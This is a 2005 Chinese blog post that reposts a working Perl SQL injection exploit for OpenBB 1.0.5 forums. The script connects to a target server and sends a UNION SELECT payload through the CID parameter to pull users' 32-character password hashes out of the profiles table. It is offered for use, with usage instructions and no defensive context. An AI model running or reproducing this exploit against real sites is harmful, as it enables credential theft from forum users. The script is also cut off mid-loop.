phpBB 2.0.16 cookie 攻击代码- -| 回首页 | 2005年索引 | - -爆笑《头文字D》观后感

OpenBB 1.0.5 php 注入攻击代码- -

                                      

#!/usr/bin/perl -w
 
# OpenBB sql injection
# tested on Open Bulletin Board 1.0.5 with mysql
# (c)oded by x97Rang 2005 RST/GHC
# Gr33tz:  __blf, 1dt.w0lf
 
use IO::Socket;
 
if (@ARGV != 3)
{
    print "\nUsage: $0 [server] [path] [id]\n";
    print "like $0 forum.mysite.com / 1\n";
    print "If found nothing - forum NOT vulnerable\n\n";
    exit ();
}
 
$server = $ARGV[0];
$path = $ARGV[1];
$id = $ARGV[2];
 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",  PeerPort => "80");
printf $socket ("GET %sindex.php?CID=999+union+select+1,1,password,1,1,1,1,1,1,1,1,id,1+from+profiles+where+id=$id/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
  $path,$server,$id);
 
while(<$socket>)
{
     if (/\>(\w{32})\</) { print "$1\n"; }

- 作者: Drёαм 访问统计: 2005年07月19日, 星期二 19:31 加入博采

Trackback

你可以使用这个链接引用该篇文章 http://publishblog.blogchina.com/blog/tb.b?diaryID=2321988

回复

评论内容: